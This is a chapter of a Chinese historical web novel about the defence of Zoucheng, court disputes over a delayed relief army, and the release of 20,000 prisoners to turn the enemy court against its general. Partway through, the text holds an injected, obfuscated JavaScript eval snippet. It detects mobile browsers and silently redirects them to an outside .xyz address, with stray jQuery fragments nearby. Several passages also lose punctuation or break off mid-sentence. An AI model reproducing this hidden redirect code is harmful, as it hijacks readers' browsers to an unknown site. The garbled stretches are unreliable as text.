第92章

作品:《凤鸣朝

    “把消息传回广固给崔先生!探哨再向徐州求援!”


    邹城内,阮伏鲸迅速发令。


    是时正值二更外城一片阒静。这是因为敌方尚摸不准他们的虚实还在谨慎观望。


    可阮时提醒主帅不能不速下决断了:“我们的计划全依托于南边有增援,这才引敌深入,打算来个里应外合。可若无援,先前不战而弃的两城就等于开门揖盗了!主帅,我们是否不能再退了?”


    “可是邹城地势平平,无关隘可倚,”帐中另一位参军开口“这里并非最佳的反攻点。”


    一旦在此拼死守城尉军很快就会反应过来他们无援。


    纥豆陵和不是庸才如果抓住机会加紧攻城邹城只会速亡。


    ·


    褚盘又胜一场带领他挑选出的百人飞骑突入敌阵生擒卢重环。他打马回到治所等来的不是欢呼而是韩火寓劈头盖脸一顿骂。


    “北府铁骑奔袭之速天下闻名,”韩火寓并指指着褚盘眼里布满腥红的血丝,“你褚家却至今不见援军,是想坐视青州被蚕食吗?!”


    褚盘的面色本是常年不见日光的白,此时刚下战场,脸上的血污不及擦拭,更显眼睑下青影明显。


    他正是听闻西线出了问题才迅速驰回治所。挨了韩火寓的斥责褚盘也无愠色。


    以他对褚豹的了解褚盘已经隐约猜想到是何处出了岔子,他声音干涩地对崔膺道:“北线已守住我这就领兵去助阮将军。”


    “不要防北尉补兵黄河线不能再有缺漏。”


    崔膺收到邹城送来的战报尚算镇定从舆图上抬眼看向这年轻人“小褚将军以少胜多已经做得很好了。韩诵和


    一经老师敲打韩火寓脑子清醒了几分想起之前听人私下议论的一件事。


    据说褚盘的生母原是大司马帐下一个主簿献给主公的歌伎。褚啸崖好美人本是屡见不鲜坏就坏在那歌伎很快有孕怀胎七月便诞子军中便有了些流言。


    偏偏早产的褚盘瘦小秀弱很不像褚啸崖。


    传闻褚盘出世时褚啸崖就等在产房外闻啼声而入帐倒提小儿双足左看右看越看脸色越阴。


    他不许产婆裹襁褓直接将新生儿撂在案上分炙肉的食盘中那盘子里还戳着分肉的银刀。


    不过大抵被身边人劝止褚啸崖最终留下了这条小命。


    只是那歌伎没出月子便撒手人寰没隔几日当初献美的主簿也一命呜呼。


    出生于盘为父猜忌褚盘的名字便因此而来。


    ——可难道就因他不受褚家人重视便是北府军将一州置


    于险地,视军国大事如儿戏的理由吗?


    韩火寓一时急火攻心,不是有意针对褚盘,发泄过后看着褚盘任打任骂的样子,不禁后悔。


    他犹豫着揖起手,未等道歉,褚盘先向崔膺一拜。


    少年将军神色平静:“褚盘与青州同生死。


    “大人,褚盘身后的周天池眼眶微热,劝说崔膺,“敌军逼近,治所已不安全了,前线由我等守着,请大人以自身为念,赶紧向南退走吧!


    崔膺摇头。


    他能退,满城百姓能退吗?


    他们经过一年的休息养生,才刚过上几天安稳日子,又能往哪里逃?


    陛下既信任他来治青州,将士们也仍在奋勇杀敌,他便没有辜负陛下、辜负这一方水土的理由。


    “山越帅,炉上的水壶不知何时烧干了,崔膺手握蒲扇,眼中沉淀光华,“我们还有含灵收服的那些山越兵徒,他们不受他方牵辖,一开始便是用于抗胡的,闻战必至,说不定已在来的路上。是以诸位莫乱,小褚将军,依旧回北线严守,其余武库中的箭矢兵械全部输往邹城——此战胜负,犹未可知。


    韩火寓拿袖头抹了把眼睛。这话安抚旁人还行,可他岂会不知,山越人所在的三吴比北府还远,要跨越千里长线赶到青州,需要时间啊。


    可他也清楚,即便援军赶不来,老师也不会临阵退缩。


    “我与老师共存亡!


    ·


    “报!未见南边援军动向!


    “报!任城空旷,中无埋伏!


    “报!邹城护城外有兵丁正趁夜挖壕!


    一道道军报传回北尉中军主帐,纥豆陵和与军师商讨后,确认了玄军确实无援。


    “天助我也!纥豆陵和眼神锋亮,当机立断地命令大军全部出动,不遗余力攻破邹城。


    玄军对青州的地形熟悉,可纥豆陵和对于北朝之前的属地只有更熟悉,他几乎要笑出声,临时挖战壕,不觉得太迟了吗?


    他们这边即便不靠铁云梯,想冲开一个小小邹城的城门,也只是时间问题。


    “主帅,敌军发起猛攻!咱们箭簇不够了!


    阮时从城头下来报告阮伏鲸,可这会儿阮伏鲸无瑕顾及,他正带人在城中各条主道设置拒马栅栏与倚矛,以期在敌军攻进来后,尽可能分散骑兵的优势。


    就在一个时辰前,阮伏鲸决定不再按原计划佯退诱敌。


    他们已失去了两面夹击的底牌,再退,背后便是崔先生所在的广固城了。


    总不能让胡人打进老窝吧,阮伏鲸发狠地握紧槊杆,他就守在这了。


    从城头密集射下的羽箭打在尉军步兵列开的盾牌之上,在暗夜中撞响凄清,有如鬼声。


    摇曳在四面望楼上的火燎将此地圈成一座孤城。


    那明灭的火光映在阮伏鲸脸上他布设完毕后勒缰回马对峙在簌簌震颤摇摇欲坠的城门里侧对身后的将士呼喊:


    “值此危亡时刻只管冲锋杀敌!巷战不成短刃相接短刃不成还可肉搏决不教胡马越过这道防线!


    轰然一声南侧城门被破南门守军的第一排轻骑立刻投出枪矛配以两侧弓箭手的连弩。随着城外的首排尉骑翻倒轻骑策马而出与强攻进来的尉兵杀作一团。


    阮伏鲸盯着正城门未动。


    顷刻后西门被破西边守军拦挡厮杀阮伏鲸稳居马上仍是未动。


    直等到他面前那道城门骤然坍倒从外溢进一片敌阵的火光阮伏鲸一马当先提槊向前冲去。


    悍勇的铁蹄从四面八方涌来却被阙道里参差交错的倚矛卸掉了冲势。阮伏鲸以一当百透过栅栏出槊如电马蹄之前片甲不过。


    然而他也非金刚不败之身接住第一波猛攻后阮伏鲸出枪的速度开始变缓。


    大玄骑卫掩护着主帅阮伏鲸才喘唤一口气忽从斜刺里杀来一槊直取阮伏鲸面门。


    阮伏鲸头皮本能一紧转缰侧身拦挡下一刻对面那槊尖如同活物坠向阮伏鲸坐骑的马脖子上一挑战马惨嘶一声阮伏鲸翻落马下。


    “将军!”


    阮伏鲸掉马后随即就地一滚“咄”地一声那如疽附骨的长槊正戳在他之前翻落的位置。


    他抬眼对上一双苍鹰一样冰冷的眼眸。


    纥豆陵和挥槊横扫将上前来援的几骑亲兵挑落马下。鲜血溅上阮伏鲸的侧脸。


    阮伏鲸怒吼一声攥杆逆刺纥豆陵和腰腹纥豆陵和攒眉挑开自上而下一个劈砸阮伏鲸双手横槊抵搪却猛觉喉间血腥逆涌


    这惊人的臂力!


    这鲜卑名将居高临下目光炯炯地瞧着满脸紫胀的阮伏鲸能接住他一槊的也算个人物了可惜——“小娃娃之前被你故弄玄虚地耽搁了几天不过到此为止了。”


    “是吗?”阮伏鲸咬着牙根泛出的血味抬眼。


    一阵蹄声及近阮时率侧翼袭来在马上臂架轻弩瞄准纥豆陵和。


    北尉骑军在前举刀格挡阮伏鲸趁纥豆陵和分神之时利落地辗转抽身退出他长槊范围翻身跃上阮时准备的战马。


    与此同时侧后方传出一片惨呼向城中纵深推进的尉骑踩中了翻板陷阱触动里面的火油装置燃起的火苗一瞬顺着马蹄蹿腾而上尉骑在翻仰中被玄军斩杀。


    “困兽之斗。”纥豆陵和愠怒地吐出字音


    叮咛左右提防陷阱打马擒敌首。


    然而阮伏鲸识得了纥豆陵和膂力的厉害只与对方兜转周旋不再硬碰硬。


    他带着一万兵士借助城中的布障硬是将这场仗从夜尽拖到了天明。


    就在东方鱼肚白被一线朝霞渲亮的时候西边的天际也远远被一片焰光映红。


    左晟在城外压阵的队伍猛然回头。


    那是……他们大军辎重的方位!


    一骑白马快过清风马上的纪小辞墨发飞扬劲衣不罩铠甲在烧掉敌军后方的粮草之后带着千人骑队如一支利箭直插尉军的后翼。


    这队突降奇兵几无阻滞地杀穿而出驰入破败的城门。


    碧蓝天光洒在城中的成堆尸骨上阮伏鲸与伤亡减半的残兵被纥豆陵和逼入角落已是强弩之末。


    纪小辞这队人马一来立刻冲开了对方的围势。


    纪小辞翻刀砍落试图截击她的尉兵与阮伏鲸会合呼出一口热气目光凛冽:“谢女君帐下精锐营听凭阮将军调遣!”


    原来这班人马正是谢澜安之前放在荆州大营加以磨砺的精锐部曲。其中又包括从太湖北上的山越帅胡威所率的五百人加上谢丰年为阿姊助阵送出的亲骑三百人由是组成了这支突袭的骑队。


    与纪小辞并驾齐驱的年轻骑手长着一张娃娃脸他手中倒拖一杆烧焦的北尉军旗冲尉军扬头打声呼哨。


    “尔等粮草已被烧毁荆州谢府君的大军随后便到此城便是诸位埋骨之地!”


    说完他好似生怕对方听不懂还特意用流利的鲜卑语重复了一遍。


    尉军闻言果然惊疑不定。纥豆陵和立刻道:“休听他们胡言!谢二远在荆州岂敢轻易离开治所。南人狡诈虚张声势诸军随本将打下青州封侯可待!”


    说罢他煞气横生地一夹马横槊冲向那对横空出现的竖子贼女。


    纪小辞与娃娃脸见敌将不上当对视一眼以默契的配合联手御敌。


    “阮郎君还成不成?”胡威挡在阮伏鲸身前这位昔日受阮厚雄照顾的山越主惟恐阮家大郎有失。


    阮伏鲸早已弃了槊因连续挥砍几个时辰而失力的右手上


    他浑身浴血地靠在墙上喘了口气抬起那双疲惫的眼沙哑地问:“来了多少人?”


    胡威跟他透了底阮伏鲸听到千人之数心情没有轻松多少甩了甩腕子站直身体。


    “那就杀。”


    日出时他身边不再有阮时的身影。


    精锐营训练有素尉军却是人多势众只要纥豆陵和不倒他就是稳定军心的一杆旗。新一轮的攻守


    不断有人倒下,到了此时,已经没人再分神去问徐州的援军到了哪里、他们还能不能等到增援,只剩最本能的厮杀。


    金乌高升穹顶,正午的烈日烤干了大地的血迹。当胡威因敌方源源不断补充的兵源而心生绝望时,城外掠阵的尉军中,突然响起一阵紧急的鸣金声。


    地面在颤动。


    一道粗犷又爽朗的笑声响震云天:“俺老权来也!阮郎君,老胡,我没来晚吧?原本早些日子能到的,这不是在家等朝廷的任命文书来着嘛——讨逆校尉,嘿嘿嘿,光宗耀祖啊!


    权达雅身后跟随着一片黑甲压城,这是把全部身家都带来了。


    胡威捂着肋条下的伤口,想笑又想哭,悲愤地骂道:“权大牙,你大爷啊!


    尉军的鸣警角声还在继续,且越催越急,随着鸣警,地面的震动也越来越清晰。


    纥豆陵和心中油然一凛,霍然转看南方,当机立断道:“撤——


    一路悠然北上的北府铁骑与徐州驻军的合兵,终于到来,在距邹城还有二十里的时候,大军开始加速冲锋,征尘蔽天。


    褚豹头戴兽首盔,身穿环锁铠,威凛凛,笑吟吟,鞭指城门:“众士听令,得敌军上将首级者,赏万金!


    ·


    当青州大获全胜、击退虏兵的军情传回金陵,南朝庙堂上下,终于松了口气。


    可惜纥豆陵和在亲骑的掩护下奔逃而去,褚豹追出三舍,没能擒住此人,否则便可断掉伪朝一臂。


    不过青州在此战中,生俘尉兵二万余,也算大大挫了伪朝的锐气。


    与此同时,褚豹与徐州将黄勇聚在微山下奏乐饮酒,疑似延误军机的消息纸里包不住火,也披露出来。


    可知道又怎么样呢?北府早有跋扈之名,大司马积威深重,朝臣人人噤声,对此黑不提白不提。


    除了谢澜安。


    御史台连上三道奏疏,谢澜安在殿上厉声道:“臣弹劾北府少都督玩忽职守,勾结外府驻将私授渎职,藐视皇命,请陛下罢二人官职,查问严惩!


    这一仗是赢了,可青州二万驻军也打到只剩几千人。北府军哪怕早到两日,何至于如此惨烈!


    而且,他褚豹并非力有不逮,他是有意以青州驻军为饵,打算先消耗掉北朝先锋锐气,再踩着同袍的尸骨成就自己的战功!其心可诛!


    表兄寄给她的报安书上有一行字,令谢澜安不忍深想,当日孤城死战的景象。


    阮伏鲸说:“同袍骨三日埋不尽,城中血一旬洗不清。我与褚氏不共戴天。


    有人揪住北府不放,皇帝心里便舒坦,自然应允谢澜安的请求。


    褚啸崖自然上书辩驳,口气一如既往地狂悖,说“


    若无北府军,便无青州一胜再胜。兵无常势,迟一日速一日皆是将在外,时势自度,非领兵者不知深浅。


    只差直白地把“将在外,君令有所不受,拍在金陵君臣的脸上。


    大司马护犊子,京吏没法进军府拿人。谢澜安对此早有意料,她说好啊,“那么此番北府出兵军费,国库一钱不出。


    若想要钱,我便要在廷尉府看到褚豹卸甲待审的身影;不然,你褚啸崖想亲自进京来与我当面对质,我也欢迎得很。


    再不然,你敢带兵入城讨说法,西府水师一日顺流便至金陵。


    谢澜安后台硬,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007256|154775||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自身风骨更硬,如此一来,黑不提白不提的便成了褚啸崖。


    御史台和大司马相持不下的时候,另一厢在商量如何处置那两万俘虏。


    有人主张立斩不赦,以壮军威,也有人建议分散流徒,让这些战俘为南朝屯田耕地。


    皇帝询问谢澜安的看法,谢澜安眸光轻动,弹袖只说了一个字:“放。


    轩然大波。


    ……又来了。郗符在臣僚的惊声中低叹抚额。


    这种一石激起千层浪、一言而定天下法的熟悉感觉,谢含灵她怎么就玩不重样呢?


    “——那可是两万兵力,放回伪朝,由着他们再反攻我朝吗!


    中书省附议:“青州虽胜,却胜得不易。将士们血流成河方守住疆土,岂可将俘虏轻易放回,寒将士之心?谢中丞,事关社稷,切莫因虚仁假义而头脑发昏!


    “含灵,皇帝在御座上面色不定,慎重又带有几分宽和地问:“你的理由是什么?


    放回两万兵俘,不是儿戏。


    可谢澜安迄今为止所有的建策无一不应验,所以只要她给出一个合理的解释,他就愿意陪她一起疯。


    疯?


    谢澜安可不需要谁自作多情地为她兜底,她无比清醒,平静的眸底却又拘压着两簇因青州重创而生的煞气,致使那道独立殿中的身影格外冷峻。


    谢澜安说:“臣请陛下看一出好戏。


    胤奚给鲤鱼喂了食,撑臂反坐在木廊阑杆沿上,翻开女郎撰写的北将谱。


    那起了茧子却依旧隽长泛粉的指尖,点到“纥豆陵和一条,上面有一行眉批小楷。


    “其人推过喜功,好瞒报伤亡,削占抚恤。


    今朝上朝前,女郎问了他一个问题。


    “我与归月在吴郡的来往书信你都看过,我熟知北朝将领的用兵习惯,并非与她推演得知,你不生疑吗?


    胤奚摇摇头,开口便是真心话:“只要是你说的话


    ,此生不疑。”


    他看到女郎当时愣了一下,而后,那张清靥雪颜上,露出一个他这辈子也学不来的恣睢笑意。


    她说:“该疑的。”


    ·


    洛阳牡丹正艳。


    北庭的宫殿也学汉家,在盛夏供着纹样精美的青铜冰鉴。白马寺为太后娘娘新奉上一串佛前开光的紫檀佛珠,此时正拢在尉迟太后保养得宜的柔白右腕上,随主人一起聆听御阶下纥豆陵和的回报。


    “末将率兵出征,却折戟于东,无地自容,请求太后与殿下治罪。”


    别看纥豆陵和从青州上撤退时形迹狼狈,眼下回到宫里,又恢复了昂扬气势。


    他多年来战功硕硕,有剑履上殿的特权,今日却破天荒跪了一膝,痛心疾首道:


    “然末将此败,非大意误事,也非战力不敌,实是国师所制的军械图纸泄露,被南贼提前防备,这才出师不利。末将以为,朝中必有南朝细作!”


    这话惊得文武哗然。


    御座上头的一老一少,神色倒还镇定。


    那老的自然便是尉迟太后,尉迟太后身旁那名身着星纬玄蟒袍,不过十岁上下的辫发少年,则是北尉皇太子拓跋亭历。


    只因如今的尉帝生而体弱,常年难离病榻,便由尉迟太后垂帘听政。而尉帝膝下仅得一子,天生异瞳,聪颖绝秀,早早立为了太子,由尉迟太后亲自教导。


    两年前祖孙俩联袂听政,共坐御椅,北朝臣子早就习以为常。


    纥豆陵和那番言论说罢,时任关中大行台,也是西南将军的赫连朵河讥讽一笑。


    “一句‘细作’,就将打败战的罪责推得一干二净了。我若没记错,那图纸出国师之手,直接入你纥豆陵的军坊,你护得像眼珠子似的,哪容旁人沾过手?这会儿却说细作——莫非细作就在你军中?”


    恰如一山不容二虎,这二人并称为北尉名将,关系便如南朝北府的褚啸崖与西府的谢逸夏,龃龉微妙。


    纥豆陵和怒瞪双眸,“太后娘娘、殿下!不止图纸有失,且南军显然深知我军布阵奥妙,处处克制我军,方有以少胜多的结果!细想之下,可不惊悚?臣请太后下旨严查此事!”


    拓跋亭历琥珀色的左眸光泽幽深,右眼在光线下却呈现出剔透的蓝色。


    他眨动双眸,饶有趣味地扬唇一笑:“国师如何看待?”


    宗室出身的拓跋昉,以多智闻名,自然想得更深一层——如今军中新败,倘若再兴清洗抄查之风,恐引发一场内乱。


    国师轻阖双眸,身着鲜卑衽服,却竖掌行佛礼:“臣以为,此战我军伤亡之数……”


    “——七千余人。”纥豆陵和连忙接口。


    “不过数千,”国师


    沉吟道,“若南朝一早参透我军布防,应不止于此,是以不必……”


    他话音未落,殿中侍快步入殿,跪于庭中,面色万分古怪。


    “启禀太后,殿下,边、边关送来一封急报……”


    “吞吐什么?”皇太子淡淡折眉,“难不成南人又打过来了,仔细回话。”


    “是。边关急报,青州刺史向我朝献礼,归还——青州之战大尉兵俘二万人!”


    尉迟太后与皇太子同时一震。


    “多少?!”赫连朵河诧然转头,随即脸色铁青,手指纥豆陵和,“好啊纥豆陵氏,你敢谎报伤亡,还足足压了三倍!生俘就有两万人……那阵亡的该有多少?”


    纥豆陵和在听到殿中侍说话一瞬,已白着脸扶刀而起。


    他当然知道自己的兵死伤多少,可他不能给朝中政敌攻击他的口子。此刻,这打了一辈子仗的宿将心中只有一个想法:玄朝的人疯了吗!


    两军交战,你死我活,谁会转头就归还数以万计的战俘!


    褚啸崖不是爱筑京观吗,他何时修成了菩萨心肠?


    “不……此举有诈!”


    纥豆陵和下意识辩驳,殿中侍为难地取出一封信件,双手托呈:“还有……青州刺史写了一封书信给纥豆陵将军。”


    国师先接过那封信,径直拆开。


    这封署名崔膺的信件上,措辞平和,微言大义,无非是说“大玄陛下心怀仁德,不忍伤生,望拓跋氏不忘先祖,退回阴山之北牧马放羊,铸剑为犁”云云……


    却足以引人生疑。


    信到尉迟太后手里,她细阅信上文字,耳上东珠颤动,眼含精光射向纥豆陵和,“崔膺为何与你写信,为何要放还你帐下甲兵?”


    “是了,”赫连朵河接口,“方才不是你自己说的吗,军中有细作。究竟是什么人将铁云梯的设计泄露出去,又是谁故意败仗?谁贼喊捉贼?你和南朝之间交情好啊,输了家底,还有人完璧归赵地给你送回来。”


    “放屁!”


    纥豆陵和此时方知南玄的用心险恶,情急之下,他捏着刀柄的手背青筋暴起,出锋一寸,“这是反间计啊太后!”